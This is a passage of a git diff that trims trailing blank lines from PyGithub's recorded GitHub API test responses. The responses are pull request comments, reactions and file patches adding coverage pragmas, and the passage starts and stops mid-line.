cription_url":"https://api.github.com/repos/ReDASers/PhishBench/subscription","commits_url":"https://api.github.com/repos/ReDASers/PhishBench/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/PhishBench/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/PhishBench/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/PhishBench/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/PhishBench/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/PhishBench/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/PhishBench/merges","archive_url":"https://api.github.com/repos/ReDASers/PhishBench/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/PhishBench/downloads","issues_url":"https://api.github.com/repos/ReDASers/PhishBench/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/PhishBench/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/PhishBench/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/PhishBench/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/PhishBench/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/PhishBench/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/PhishBench/deployments"}}]} diff --git a/tests/ReplayData/PullRequestComment.setUp.txt b/tests/ReplayData/PullRequestComment.setUp.txt index 0984d3abd0..5749179904 100644 --- a/tests/ReplayData/PullRequestComment.setUp.txt +++ b/tests/ReplayData/PullRequestComment.setUp.txt @@ -41,4 +41,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4996'), ('content-length', '937'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"c05c16826ff8762adedb7757f916d5de"'), ('date', 'Sun, 27 May 2012 10:04:37 GMT'), ('content-type', 'application/json; charset=utf-8')] {"updated_at":"2012-05-27T09:40:12Z","position":5,"original_position":5,"body":"Comment created by PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub/pulls/comments/886298","commit_id":"8a4f306d4b223682dd19410d4a9150636ebe4206","_links":{"self":{"href":"https://api.github.com/repos/jacquev6/PyGithub/pulls/comments/886298"},"html":{"href":"https://github.com/jacquev6/PyGithub/pull/31#r886298"},"pull_request":{"href":"https://api.github.com/repos/jacquev6/PyGithub/pulls/31"}},"created_at":"2012-05-27T09:40:12Z","user":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"original_commit_id":"8a4f306d4b223682dd19410d4a9150636ebe4206","path":"src/github/Issue.py","id":886298,"html_url":"https://github.com/jacquev6/PyGithub/pull/170#issuecomment-18637907"} - diff --git a/tests/ReplayData/PullRequestComment.testCreateReaction.txt b/tests/ReplayData/PullRequestComment.testCreateReaction.txt index 4d24410a6c..39c98fb791 100644 --- a/tests/ReplayData/PullRequestComment.testCreateReaction.txt +++ b/tests/ReplayData/PullRequestComment.testCreateReaction.txt @@ -8,4 +8,3 @@ None 201 [('content-length', '999'), ('x-runtime-rack', '0.077219'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('x-oauth-scopes', 'repo, user'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', ''), ('etag', '"e4d556e3e2d16fc003293ad7f6afcf98"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('status', '201 Created'), ('x-ratelimit-remaining', '4973'), ('x-github-media-type', 'github.squirrel-girl-preview'), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'F426:452B:1A25A1:37AB78:5A31D6DA'), ('date', 'Thu, 14 Dec 2017 01:41:46 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1513217425')] {"id":17283822,"user":{"login":"nicolastrres","id":6579348,"avatar_url":"https://avatars0.githubusercontent.com/u/6579348?v=4","gravatar_id":"","url":"https://api.github.com/users/nicolastrres","html_url":"https://github.com/nicolastrres","followers_url":"https://api.github.com/users/nicolastrres/followers","following_url":"https://api.github.com/users/nicolastrres/following{/other_user}","gists_url":"https://api.github.com/users/nicolastrres/gists{/gist_id}","starred_url":"https://api.github.com/users/nicolastrres/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/nicolastrres/subscriptions","organizations_url":"https://api.github.com/users/nicolastrres/orgs","repos_url":"https://api.github.com/users/nicolastrres/repos","events_url":"https://api.github.com/users/nicolastrres/events{/privacy}","received_events_url":"https://api.github.com/users/nicolastrres/received_events","type":"User","site_admin":false},"content":"hooray","created_at":"2017-12-14T01:41:46Z"} - diff --git a/tests/ReplayData/PullRequestComment.testDelete.txt b/tests/ReplayData/PullRequestComment.testDelete.txt index 2a70109a0a..e00d6e85a6 100644 --- a/tests/ReplayData/PullRequestComment.testDelete.txt +++ b/tests/ReplayData/PullRequestComment.testDelete.txt @@ -7,5 +7,3 @@ None None 204 [('status', '204 No Content'), ('x-ratelimit-remaining', '4936'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"d41d8cd98f00b204e9800998ecf8427e"'), ('date', 'Sun, 27 May 2012 10:49:27 GMT')] - - diff --git a/tests/ReplayData/PullRequestComment.testDeleteReaction.txt b/tests/ReplayData/PullRequestComment.testDeleteReaction.txt index 1948cb5d60..15f1ca5786 100644 --- a/tests/ReplayData/PullRequestComment.testDeleteReaction.txt +++ b/tests/ReplayData/PullRequestComment.testDeleteReaction.txt @@ -7,5 +7,3 @@ None None 204 [('Date', 'Mon, 28 Sep 2020 22:15:48 GMT'), ('Server', 'GitHub.com'), ('Status', '204 No Content'), ('X-OAuth-Scopes', 'public_repo, repo:status, write:discussion'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.squirrel-girl-preview'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4991'), ('X-RateLimit-Reset', '1601334930'), ('X-RateLimit-Used', '9'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With, Accept-Encoding'), ('X-GitHub-Request-Id', '9B34:FACF:17050546:1B72222B:5F726093')] - - diff --git a/tests/ReplayData/PullRequestComment.testEdit.txt b/tests/ReplayData/PullRequestComment.testEdit.txt index acc1ab0be9..857c2c1b95 100644 --- a/tests/ReplayData/PullRequestComment.testEdit.txt +++ b/tests/ReplayData/PullRequestComment.testEdit.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4991'), ('content-length', '936'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"e8c290c08cd5ed76a92529759e9148bc"'), ('date', 'Sun, 27 May 2012 10:09:07 GMT'), ('content-type', 'application/json; charset=utf-8')] {"updated_at":"2012-05-27T10:09:07Z","position":5,"_links":{"self":{"href":"https://api.github.com/repos/jacquev6/PyGithub/pulls/comments/886298"},"html":{"href":"https://github.com/jacquev6/PyGithub/pull/31#r886298"},"pull_request":{"href":"https://api.github.com/repos/jacquev6/PyGithub/pulls/31"}},"original_position":5,"body":"Comment edited by PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub/pulls/comments/886298","commit_id":"8a4f306d4b223682dd19410d4a9150636ebe4206","created_at":"2012-05-27T09:40:12Z","user":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"original_commit_id":"8a4f306d4b223682dd19410d4a9150636ebe4206","path":"src/github/Issue.py","id":886298} - diff --git a/tests/ReplayData/PullRequestComment.testGetReactions.txt b/tests/ReplayData/PullRequestComment.testGetReactions.txt index 373f7adc09..ae339c3ebe 100644 --- a/tests/ReplayData/PullRequestComment.testGetReactions.txt +++ b/tests/ReplayData/PullRequestComment.testGetReactions.txt @@ -8,4 +8,3 @@ None 200 [('content-length', '997'), ('x-runtime-rack', '0.075315'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('x-oauth-scopes', 'repo, user'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', ''), ('etag', '"b8e5130e17f11bce299b3d84021825fe"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('status', '200 OK'), ('x-ratelimit-remaining', '4978'), ('x-github-media-type', 'github.squirrel-girl-preview'), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'F40C:452B:19B723:36C1E4:5A31D5A8'), ('date', 'Thu, 14 Dec 2017 01:36:41 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1513217425')] [{"id":17283690,"user":{"login":"nicolastrres","id":6579348,"avatar_url":"https://avatars0.githubusercontent.com/u/6579348?v=4","gravatar_id":"","url":"https://api.github.com/users/nicolastrres","html_url":"https://github.com/nicolastrres","followers_url":"https://api.github.com/users/nicolastrres/followers","following_url":"https://api.github.com/users/nicolastrres/following{/other_user}","gists_url":"https://api.github.com/users/nicolastrres/gists{/gist_id}","starred_url":"https://api.github.com/users/nicolastrres/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/nicolastrres/subscriptions","organizations_url":"https://api.github.com/users/nicolastrres/orgs","repos_url":"https://api.github.com/users/nicolastrres/repos","events_url":"https://api.github.com/users/nicolastrres/events{/privacy}","received_events_url":"https://api.github.com/users/nicolastrres/received_events","type":"User","site_admin":false},"content":"+1","created_at":"2017-12-14T01:36:29Z"}] - diff --git a/tests/ReplayData/PullRequestFile.setUp.txt b/tests/ReplayData/PullRequestFile.setUp.txt index 784f78777c..1c490adf32 100644 --- a/tests/ReplayData/PullRequestFile.setUp.txt +++ b/tests/ReplayData/PullRequestFile.setUp.txt @@ -41,4 +41,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4941'), ('content-length', '169480'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"0eeb19c75ce5a922107d104ec2a5dd4e"'), ('date', 'Sun, 27 May 2012 10:47:16 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"status":"modified","changes":2,"deletions":1,"raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/codegen/templates/GithubObject.py","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/codegen/templates/GithubObject.py","filename":"codegen/templates/GithubObject.py","patch":"@@ -70,7 +70,7 @@ def __useAttributes( self, attributes ):\n \n # @toto No need to check if attribute is in attributes when attribute is mandatory\n {% for attribute in class.attributes|dictsort:\"name\" %}\n- if \"{{ attribute.name }}\" in attributes and attributes[ \"{{ attribute.name }}\" ] is not None:\n+ if \"{{ attribute.name }}\" in attributes and attributes[ \"{{ attribute.name }}\" ] is not None: # pragma no branch\n \n {% if attribute.type.cardinality == \"scalar\" %}\n {% if attribute.type.simple %}","additions":1,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206"},{"status":"modified","changes":50,"deletions":25,"raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/AuthenticatedUser.py","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/AuthenticatedUser.py","filename":"src/github/AuthenticatedUser.py","patch":"@@ -568,78 +568,78 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"avatar_url\", \"bio\", \"blog\", \"collaborators\", \"company\", \"created_at\", \"disk_usage\", \"email\", \"followers\", \"following\", \"gravatar_id\", \"hireable\", \"html_url\", \"id\", \"location\", \"login\", \"name\", \"owned_private_repos\", \"plan\", \"private_gists\", \"public_gists\", \"public_repos\", \"total_private_repos\", \"type\", \"url\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"avatar_url\" in attributes and attributes[ \"avatar_url\" ] is not None:\n+ if \"avatar_url\" in attributes and attributes[ \"avatar_url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"avatar_url\" ], str )\n self.__avatar_url = attributes[ \"avatar_url\" ]\n- if \"bio\" in attributes and attributes[ \"bio\" ] is not None:\n+ if \"bio\" in attributes and attributes[ \"bio\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"bio\" ], str )\n self.__bio = attributes[ \"bio\" ]\n- if \"blog\" in attributes and attributes[ \"blog\" ] is not None:\n+ if \"blog\" in attributes and attributes[ \"blog\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"blog\" ], str )\n self.__blog = attributes[ \"blog\" ]\n- if \"collaborators\" in attributes and attributes[ \"collaborators\" ] is not None:\n+ if \"collaborators\" in attributes and attributes[ \"collaborators\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"collaborators\" ], int )\n self.__collaborators = attributes[ \"collaborators\" ]\n- if \"company\" in attributes and attributes[ \"company\" ] is not None:\n+ if \"company\" in attributes and attributes[ \"company\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"company\" ], str )\n self.__company = attributes[ \"company\" ]\n- if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None:\n+ if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"created_at\" ], str )\n self.__created_at = attributes[ \"created_at\" ]\n- if \"disk_usage\" in attributes and attributes[ \"disk_usage\" ] is not None:\n+ if \"disk_usage\" in attributes and attributes[ \"disk_usage\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"disk_usage\" ], int )\n self.__disk_usage = attributes[ \"disk_usage\" ]\n- if \"email\" in attributes and attributes[ \"email\" ] is not None:\n+ if \"email\" in attributes and attributes[ \"email\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"email\" ], str )\n self.__email = attributes[ \"email\" ]\n- if \"followers\" in attributes and attributes[ \"followers\" ] is not None:\n+ if \"followers\" in attributes and attributes[ \"followers\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"followers\" ], int )\n self.__followers = attributes[ \"followers\" ]\n- if \"following\" in attributes and attributes[ \"following\" ] is not None:\n+ if \"following\" in attributes and attributes[ \"following\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"following\" ], int )\n self.__following = attributes[ \"following\" ]\n- if \"gravatar_id\" in attributes and attributes[ \"gravatar_id\" ] is not None:\n+ if \"gravatar_id\" in attributes and attributes[ \"gravatar_id\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"gravatar_id\" ], str )\n self.__gravatar_id = attributes[ \"gravatar_id\" ]\n- if \"hireable\" in attributes and attributes[ \"hireable\" ] is not None:\n+ if \"hireable\" in attributes and attributes[ \"hireable\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"hireable\" ], bool )\n self.__hireable = attributes[ \"hireable\" ]\n- if \"html_url\" in attributes and attributes[ \"html_url\" ] is not None:\n+ if \"html_url\" in attributes and attributes[ \"html_url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"html_url\" ], str )\n self.__html_url = attributes[ \"html_url\" ]\n- if \"id\" in attributes and attributes[ \"id\" ] is not None:\n+ if \"id\" in attributes and attributes[ \"id\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"id\" ], int )\n self.__id = attributes[ \"id\" ]\n- if \"location\" in attributes and attributes[ \"location\" ] is not None:\n+ if \"location\" in attributes and attributes[ \"location\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"location\" ], str )\n self.__location = attributes[ \"location\" ]\n- if \"login\" in attributes and attributes[ \"login\" ] is not None:\n+ if \"login\" in attributes and attributes[ \"login\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"login\" ], str )\n self.__login = attributes[ \"login\" ]\n- if \"name\" in attributes and attributes[ \"name\" ] is not None:\n+ if \"name\" in attributes and attributes[ \"name\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"name\" ], str )\n self.__name = attributes[ \"name\" ]\n- if \"owned_private_repos\" in attributes and attributes[ \"owned_private_repos\" ] is not None:\n+ if \"owned_private_repos\" in attributes and attributes[ \"owned_private_repos\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"owned_private_repos\" ], int )\n self.__owned_private_repos = attributes[ \"owned_private_repos\" ]\n- if \"plan\" in attributes and attributes[ \"plan\" ] is not None:\n+ if \"plan\" in attributes and attributes[ \"plan\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"plan\" ], dict )\n self.__plan = Plan.Plan( self.__requester, attributes[ \"plan\" ], completion = LazyCompletion )\n- if \"private_gists\" in attributes and attributes[ \"private_gists\" ] is not None:\n+ if \"private_gists\" in attributes and attributes[ \"private_gists\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"private_gists\" ], int )\n self.__private_gists = attributes[ \"private_gists\" ]\n- if \"public_gists\" in attributes and attributes[ \"public_gists\" ] is not None:\n+ if \"public_gists\" in attributes and attributes[ \"public_gists\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"public_gists\" ], int )\n self.__public_gists = attributes[ \"public_gists\" ]\n- if \"public_repos\" in attributes and attributes[ \"public_repos\" ] is not None:\n+ if \"public_repos\" in attributes and attributes[ \"public_repos\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"public_repos\" ], int )\n self.__public_repos = attributes[ \"public_repos\" ]\n- if \"total_private_repos\" in attributes and attributes[ \"total_private_repos\" ] is not None:\n+ if \"total_private_repos\" in attributes and attributes[ \"total_private_repos\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"total_private_repos\" ], int )\n self.__total_private_repos = attributes[ \"total_private_repos\" ]\n- if \"type\" in attributes and attributes[ \"type\" ] is not None:\n+ if \"type\" in attributes and attributes[ \"type\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"type\" ], str )\n self.__type = attributes[ \"type\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"url\" ], str )\n self.__url = attributes[ \"url\" ]","additions":25,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206"},{"status":"modified","changes":18,"deletions":9,"raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Authorization.py","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Authorization.py","filename":"src/github/Authorization.py","patch":"@@ -117,21 +117,21 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"app\", \"created_at\", \"id\", \"note\", \"note_url\", \"scopes\", \"token\", \"updated_at\", \"url\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"app\" in attributes and attributes[ \"app\" ] is not None:\n+ if \"app\" in attributes and attributes[ \"app\" ] is not None: # pragma no branch\n self.__app = attributes[ \"app\" ]\n- if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None:\n+ if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None: # pragma no branch\n self.__created_at = attributes[ \"created_at\" ]\n- if \"id\" in attributes and attributes[ \"id\" ] is not None:\n+ if \"id\" in attributes and attributes[ \"id\" ] is not None: # pragma no branch\n self.__id = attributes[ \"id\" ]\n- if \"note\" in attributes and attributes[ \"note\" ] is not None:\n+ if \"note\" in attributes and attributes[ \"note\" ] is not None: # pragma no branch\n self.__note = attributes[ \"note\" ]\n- if \"note_url\" in attributes and attributes[ \"note_url\" ] is not None:\n+ if \"note_url\" in attributes and attributes[ \"note_url\" ] is not None: # pragma no branch\n self.__note_url = attributes[ \"note_url\" ]\n- if \"scopes\" in attributes and attributes[ \"scopes\" ] is not None:\n+ if \"scopes\" in attributes and attributes[ \"scopes\" ] is not None: # pragma no branch\n self.__scopes = attributes[ \"scopes\" ]\n- if \"token\" in attributes and attributes[ \"token\" ] is not None:\n+ if \"token\" in attributes and attributes[ \"token\" ] is not None: # pragma no branch\n self.__token = attributes[ \"token\" ]\n- if \"updated_at\" in attributes and attributes[ \"updated_at\" ] is not None:\n+ if \"updated_at\" in attributes and attributes[ \"updated_at\" ] is not None: # pragma no branch\n self.__updated_at = attributes[ \"updated_at\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n self.__url = attributes[ \"url\" ]","additions":9,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206"},{"status":"modified","changes":4,"deletions":2,"raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Branch.py","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Branch.py","filename":"src/github/Branch.py","patch":"@@ -28,9 +28,9 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"commit\", \"name\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"commit\" in attributes and attributes[ \"commit\" ] is not None:\n+ if \"commit\" in attributes and attributes[ \"commit\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"commit\" ], dict )\n self.__commit = Commit.Commit( self.__requester, attributes[ \"commit\" ], completion = LazyCompletion )\n- if \"name\" in attributes and attributes[ \"name\" ] is not None:\n+ if \"name\" in attributes and attributes[ \"name\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"name\" ], str )\n self.__name = attributes[ \"name\" ]","additions":2,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206"},{"status":"modified","changes":16,"deletions":8,"raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Commit.py","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/Commit.py","filename":"src/github/Commit.py","patch":"@@ -120,33 +120,33 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"author\", \"commit\", \"committer\", \"files\", \"parents\", \"sha\", \"stats\", \"url\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"author\" in attributes and attributes[ \"author\" ] is not None:\n+ if \"author\" in attributes and attributes[ \"author\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"author\" ], dict )\n self.__author = NamedUser.NamedUser( self.__requester, attributes[ \"author\" ], completion = LazyCompletion )\n- if \"commit\" in attributes and attributes[ \"commit\" ] is not None:\n+ if \"commit\" in attributes and attributes[ \"commit\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"commit\" ], dict )\n self.__commit = GitCommit.GitCommit( self.__requester, attributes[ \"commit\" ], completion = LazyCompletion )\n- if \"committer\" in attributes and attributes[ \"committer\" ] is not None:\n+ if \"committer\" in attributes and attributes[ \"committer\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"committer\" ], dict )\n self.__committer = NamedUser.NamedUser( self.__requester, attributes[ \"committer\" ], completion = LazyCompletion )\n- if \"files\" in attributes and attributes[ \"files\" ] is not None:\n+ if \"files\" in attributes and attributes[ \"files\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"files\" ], list ) and ( len( attributes[ \"files\" ] ) == 0 or isinstance( attributes[ \"files\" ][ 0 ], dict ) )\n self.__files = [\n CommitFile.CommitFile( self.__requester, element, completion = LazyCompletion )\n for element in attributes[ \"files\" ]\n ]\n- if \"parents\" in attributes and attributes[ \"parents\" ] is not None:\n+ if \"parents\" in attributes and attributes[ \"parents\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"parents\" ], list ) and ( len( attributes[ \"parents\" ] ) == 0 or isinstance( attributes[ \"parents\" ][ 0 ], dict ) )\n self.__parents = [\n Commit( self.__requester, element, completion = LazyCompletion )\n for element in attributes[ \"parents\" ]\n ]\n- if \"sha\" in attributes and attributes[ \"sha\" ] is not None:\n+ if \"sha\" in attributes and attributes[ \"sha\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"sha\" ], str )\n self.__sha = attributes[ \"sha\" ]\n- if \"stats\" in attributes and attributes[ \"stats\" ] is not None:\n+ if \"stats\" in attributes and attributes[ \"stats\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"stats\" ], dict )\n self.__stats = CommitStats.CommitStats( self.__requester, attributes[ \"stats\" ], completion = LazyCompletion )\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"url\" ], str )\n self.__url = attributes[ \"url\" ]","additions":8,"sha":"8a4f306d4b223682dd19410d4a9150636ebe4206"},{"status":"modified","changes":22,"deletions":11,"raw_url":"https://github.com/jacquev6/PyGithub/raw/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/CommitComment.py","blob_url":"https://github.com/jacquev6/PyGithub/blob/8a4f306d4b223682dd19410d4a9150636ebe4206/src/github/CommitComment.py","filename":"src/github/CommitComment.py","patch":"@@ -121,36 +121,36 @@ def __useAttributes( self, attributes ):\n for attribute in attributes:\n assert attribute in [ \"body\", \"commit_id\", \"created_at\", \"html_url\", \"id\", \"line\", \"path\", \"position\", \"updated_at\", \"url\", \"user\", ], attribute\n # @toto No need to check if attribute is in attributes when attribute is mandatory\n- if \"body\" in attributes and attributes[ \"body\" ] is not None:\n+ if \"body\" in attributes and attributes[ \"body\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"body\" ], str )\n self.__body = attributes[ \"body\" ]\n- if \"commit_id\" in attributes and attributes[ \"commit_id\" ] is not None:\n+ if \"commit_id\" in attributes and attributes[ \"commit_id\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"commit_id\" ], str )\n self.__commit_id = attributes[ \"commit_id\" ]\n- if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None:\n+ if \"created_at\" in attributes and attributes[ \"created_at\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"created_at\" ], str )\n self.__created_at = attributes[ \"created_at\" ]\n- if \"html_url\" in attributes and attributes[ \"html_url\" ] is not None:\n+ if \"html_url\" in attributes and attributes[ \"html_url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"html_url\" ], str )\n self.__html_url = attributes[ \"html_url\" ]\n- if \"id\" in attributes and attributes[ \"id\" ] is not None:\n+ if \"id\" in attributes and attributes[ \"id\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"id\" ], int )\n self.__id = attributes[ \"id\" ]\n- if \"line\" in attributes and attributes[ \"line\" ] is not None:\n+ if \"line\" in attributes and attributes[ \"line\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"line\" ], int )\n self.__line = attributes[ \"line\" ]\n- if \"path\" in attributes and attributes[ \"path\" ] is not None:\n+ if \"path\" in attributes and attributes[ \"path\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"path\" ], str )\n self.__path = attributes[ \"path\" ]\n- if \"position\" in attributes and attributes[ \"position\" ] is not None:\n+ if \"position\" in attributes and attributes[ \"position\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"position\" ], int )\n self.__position = attributes[ \"position\" ]\n- if \"updated_at\" in attributes and attributes[ \"updated_at\" ] is not None:\n+ if \"updated_at\" in attributes and attributes[ \"updated_at\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"updated_at\" ], str )\n self.__updated_at = attributes[ \"updated_at\" ]\n- if \"url\" in attributes and attributes[ \"url\" ] is not None:\n+ if \"url\" in attributes and attributes[ \"url\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"url\" ], str )\n self.__url = attributes[ \"url\" ]\n- if \"user\" in attributes and attributes[ \"user\" ] is not None:\n+ if \"user\" in attributes and attributes[ \"user\" ] is not None: # pragma no branch\n assert isinstance( attributes[ \"user\" ], dict )\n self.__user = NamedUser.NamedUser( self.__requester, attributes[ \"user\" ], completion = LazyCompletion 